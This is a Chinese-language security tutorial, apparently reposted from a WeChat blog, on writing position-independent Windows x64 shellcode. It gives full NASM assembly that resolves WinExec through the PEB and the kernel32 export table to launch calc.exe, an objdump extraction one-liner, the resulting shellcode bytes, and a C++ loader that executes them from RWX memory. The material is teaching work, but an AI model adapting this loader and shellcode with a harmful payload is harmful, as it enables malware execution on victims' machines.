2026-03-25 23:23:17 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文介绍Windowsx64汇编与Shellcode编写，通过GS寄存器获取TEB基址，遍历PEB链表定位kernel32.dll并获取WinExec地址。提供完整NASM代码，讲解用objdump提取机器码生成位置无关Shellcode，给出C++加载器示例。适合学习Windows二进制安全与Shellcode开发。 综合评分： 81 文章分类： 二进制安全,逆向分析,安全开发

cover_image

Windows x64汇编和Shellcode

原创

ybdt ybdt

卡卡罗特取西经

2026年3月23日 22:02 吉林

01 前言

之前那篇“Windows x64汇编”忘记写Shellcode部分，想修改一下，结果微信公众号修改文章限制每次只能改几个字符，干脆重写一篇吧

02 Windows x64汇编

学完王爽老师的Windows 16位汇编、罗云彬老师的Windows 32位汇编，最后就是Windows x64汇编，下面这个系列是我觉得不错的学习资源

【x64汇编与shellcode入门教程&nbsp;01】https://mp.weixin.qq.com/s/HzEWKEpYpeBNJyk4IEll2g?scene=1【x64汇编与shellcode入门教程 02】https://mp.weixin.qq.com/s/vEfsmgBpEOJSzvXcvnEtUA?scene=1【x64汇编与shellcode入门教程 03】https://mp.weixin.qq.com/s/bJnqwt0_9rQCmaYZFrcFKg?scene=1【x64汇编与shellcode入门教程 04】https://mp.weixin.qq.com/s/-SEK85Fflt-Gr_Km9YcD3w?scene=1【x64汇编与shellcode入门教程 05】https://mp.weixin.qq.com/s/xC02bij37DTr_j4arJi_ag?scene=1【x64汇编与shellcode入门教程 06】https://mp.weixin.qq.com/s/db2pQXBx44IF4Dst0hw9sQ?scene=1【x64汇编与shellcode入门教程 07】https://mp.weixin.qq.com/s/AmjTv9wzFqzV1GKZYUecNQ

原文在这里：https://g3tsyst3m.com/shellcoding/assembly/debugging/x64-Assembly-and-Shellcoding-101/

翻译的质量不错，都很准确，当然你想看原文也可以

基本原理：通过GS段寄存器获取TEB基址，遍历PEB模块链表获取kernel32.dll基址，遍历kernel32.dll导出表获取WinExec地址，最后通过WinExec执行calc.exe

代码如下，代码中每条指令都包含了详细注释，我就不再赘述解释了

; nasm&nbsp;-fwin64 x64findkernel32.asm; ld&nbsp;-m i386pep&nbsp;-o x64findkernel32.exe x64findkernel32.objBITS&nbsp;64SECTION .textglobal&nbsp;mainmain:;&nbsp;get&nbsp;the base address&nbsp;of&nbsp;kernel32.dll&nbsp;by&nbsp;gs segment registersub rsp,&nbsp;0x28and&nbsp;rsp,&nbsp;0xfffffffffffffff0xor rcx, rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; rcx&nbsp;=&nbsp;0&nbsp; &nbsp;mov rax, [gs:rcx&nbsp;+&nbsp;0x60] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; gs contain the base address&nbsp;of&nbsp;TEB,&nbsp;and&nbsp;offset&nbsp;0x60&nbsp;is&nbsp;the base address&nbsp;of&nbsp;PEBmov rax, [rax&nbsp;+&nbsp;0x18] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;offset&nbsp;0x18&nbsp;is&nbsp;the base address&nbsp;of&nbsp;PEB->Ldrmov rsi, [rax&nbsp;+&nbsp;0x10] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;offset&nbsp;0x10&nbsp;is&nbsp;the base address&nbsp;of&nbsp;PEB->Ldr->InLoadOrderModuleListmov rsi, [rsi] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; jump&nbsp;to&nbsp;next node&nbsp;of&nbsp;linked list PEB->Ldr->InLoadOrderModuleList, ntdll.dllmov rsi, [rsi] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; jump&nbsp;to&nbsp;next node&nbsp;of&nbsp;linked list &nbsp;PEB->Ldr->InLoadOrderModuleList, kernel32.dllmov rbx, [rsi&nbsp;+&nbsp;0x30] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;offset&nbsp;0x30&nbsp;is&nbsp;the base address&nbsp;of&nbsp;kernel32.dllmov r8, rbx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; the&nbsp;value&nbsp;of&nbsp;rbx assign&nbsp;to&nbsp;r8; parse pe file header&nbsp;and&nbsp;export&nbsp;table&nbsp;to&nbsp;locate WinExec addressmov ebx, [rbx+0x3C] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; pe file&nbsp;offset&nbsp;0x3c&nbsp;contains&nbsp;nt headers addressadd&nbsp;rbx, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; relative address&nbsp;+&nbsp;base addressmov edx, [rbx+0x88] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; nt headers&nbsp;offset&nbsp;0x88&nbsp;contains&nbsp;export directory addressadd&nbsp;rdx, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; relative address&nbsp;+&nbsp;base addressmov r10d, [rdx+0x14] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; Total count&nbsp;for&nbsp;number&nbsp;of&nbsp;functionsxor r11, r11 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; clear R11&nbsp;mov r11d, [rdx+0x20] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; AddressOfNames&nbsp;=&nbsp;RVAadd&nbsp;r11, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; AddressOfNames&nbsp;=&nbsp;VMAmov rcx, r10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; setup loop countermov rax,&nbsp;0x00636578456E6957&nbsp; &nbsp; &nbsp; &nbsp;; "WinExec" string&nbsp;NULL&nbsp;terminated&nbsp;with&nbsp;a&nbsp;'0'&nbsp;push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; push&nbsp;to&nbsp;the stackmov rax, rsp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; move stack pointer&nbsp;to&nbsp;our WinExec string&nbsp;into&nbsp;RAXadd&nbsp;rsp,&nbsp;8&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; keep&nbsp;with&nbsp;16&nbsp;byte stack alignmentkernel32findfunction:&nbsp; &nbsp; jecxz FunctionNameNotFound &nbsp; &nbsp;; If ecx&nbsp;is&nbsp;zero (function&nbsp;not&nbsp;found),&nbsp;set&nbsp;breakpoint&nbsp; &nbsp; xor ebx, ebx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; Zero EBX&nbsp; &nbsp; mov ebx, [r11+rcx*4] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; EBX&nbsp;=&nbsp;RVA&nbsp;for&nbsp;first&nbsp;AddressOfName&nbsp; &nbsp;&nbsp;add&nbsp;rbx, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; RBX&nbsp;=&nbsp;Function&nbsp;name VMA&nbsp;/&nbsp;add&nbsp;kernel32 base address&nbsp;to&nbsp;RVA&nbsp;to&nbsp;get&nbsp;WinApi name&nbsp; &nbsp;&nbsp;dec&nbsp;rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; Decrement our loop&nbsp;by&nbsp;one, this goes&nbsp;from&nbsp;Z&nbsp;to&nbsp;A&nbsp; &nbsp; mov r9, qword [rax] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; R9&nbsp;=&nbsp;"WinExec"&nbsp; &nbsp; cmp [rbx], r9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; Compare&nbsp;all&nbsp;bytes&nbsp; &nbsp; jz FunctionNameFound &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; jump if zero flag&nbsp;is&nbsp;set&nbsp;(found&nbsp;function&nbsp;name!)&nbsp; &nbsp; jnz kernel32findfunction &nbsp; &nbsp; &nbsp;; didn't find the name, so keep loopin til we do!FunctionNameFound:&nbsp; &nbsp; push rcx&nbsp; &nbsp; jmp OrdinalLookupSetupFunctionNameNotFound:&nbsp; &nbsp; int3OrdinalLookupSetup:&nbsp; &nbsp; pop r15&nbsp; &nbsp; js OrdinalLookupOrdinalLookup:&nbsp; &nbsp; mov rcx, r15 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; move our function's place&nbsp;into&nbsp;RCX&nbsp; &nbsp; xor r11, r11 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; clear R11&nbsp;for&nbsp;use&nbsp; &nbsp; mov r11d, [rdx+0x24] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; AddressOfNameOrdinals&nbsp;=&nbsp;RVA&nbsp; &nbsp;&nbsp;add&nbsp;r11, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; AddressOfNameOrdinals&nbsp;=&nbsp;VMA&nbsp; &nbsp; inc rcx&nbsp; &nbsp; mov r13w, [r11+rcx*2] &nbsp; &nbsp; &nbsp; &nbsp; ; AddressOfNameOrdinals&nbsp;+&nbsp;Counter. RCX&nbsp;=&nbsp;counter&nbsp; &nbsp; xor r11, r11&nbsp; &nbsp; mov r11d, [rdx+0x1c] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; AddressOfFunctions&nbsp;=&nbsp;RVA&nbsp; &nbsp;&nbsp;add&nbsp;r11, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; AddressOfFunctions VMA&nbsp;in&nbsp;R11. Kernel32+RVA&nbsp;for&nbsp;function&nbsp;addresses&nbsp; &nbsp; mov eax, [r11+r13*4] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;function&nbsp;RVA.&nbsp; &nbsp;&nbsp;add&nbsp;rax, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; Found the WinExec Api address!!!&nbsp; &nbsp; push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; Store&nbsp;function&nbsp;addresses&nbsp;by&nbsp;pushing it temporarily&nbsp; &nbsp; js executeit;&nbsp;call&nbsp;WinExecexecuteit:pop r15 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; address&nbsp;for&nbsp;WinExecmov rax,&nbsp;0x00&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; push&nbsp;null&nbsp;string terminator&nbsp;'0'push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; push it onto the stackmov rax,&nbsp;0x6578652E636C6163&nbsp; &nbsp; &nbsp; &nbsp;; move string&nbsp;'calc.exe'&nbsp;into&nbsp;RAX&nbsp;push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; push string&nbsp;+&nbsp;null&nbsp;terminator&nbsp;to&nbsp;stackmov rcx, rsp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; RDX points&nbsp;to&nbsp;stack pointer "WinExec" (1st&nbsp;parameter))mov rdx,&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; move&nbsp;1&nbsp;(show&nbsp;window&nbsp;parameter)&nbsp;into&nbsp;RDX (2nd&nbsp;parameter)sub rsp,&nbsp;0x30&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; align stack&nbsp;16&nbsp;bytes&nbsp;and&nbsp;allow&nbsp;for&nbsp;proper setup&nbsp;for&nbsp;shadow space demandscall&nbsp;r15 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;Call&nbsp;WinExec!!

03 Windows x64汇编到Shellcode

使用objdump可以获取x64findkernel32.obj中的汇编

这些汇编指令对应的机器码其实就是shellcode，使用如下指令将它提取出来

for&nbsp;i&nbsp;in&nbsp;$(objdump -D x64findkernel32.obj | grep&nbsp;"^ "&nbsp;|&nbsp;cut&nbsp;-f2);&nbsp;do&nbsp;echo&nbsp;-n&nbsp;"\x$i"&nbsp;;&nbsp;done

上述汇编中不涉及硬编码的函数地址或变量地址，所以它是一段PIC（Position Independent Code，位置无关代码）的shellcode，可以直接放到loader中执行，下面是一个简易的shellcode loader，代码很简单我就不解释了

#include&nbsp;<windows.h>#include&nbsp;<iostream>unsigned&nbsp;char&nbsp;shellcode[] ="\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b""\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01""\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65""\x63\x00\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x19\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c""\x8b\x08\x4c\x39\x0b\x74\x02\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a""\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab""\x4c\x01\xc0\x50\x78\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48""\x89\xe1\xba\x01\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7";int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;// 注意标志位PAGE_EXECUTE_READWRITE，给这段空间的数据设置为具有读写和可执行权限&nbsp; &nbsp;&nbsp;void* exec_mem =&nbsp;VirtualAlloc(0,&nbsp;sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&nbsp; &nbsp;&nbsp;if&nbsp;(exec_mem ==&nbsp;nullptr) {&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"Memory allocation failed\n";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;memcpy(exec_mem, shellcode,&nbsp;sizeof(shellcode));&nbsp; &nbsp;&nbsp;auto&nbsp;shellcode_func =&nbsp;reinterpret_cast<void(*)()>(exec_mem);&nbsp; &nbsp;&nbsp;shellcode_func();&nbsp; &nbsp;&nbsp;VirtualFree(exec_mem,&nbsp;0, MEM_RELEASE);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

可以成功执行

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：卡卡罗特取西经 ybdt ybdt《Windows x64汇编和Shellcode》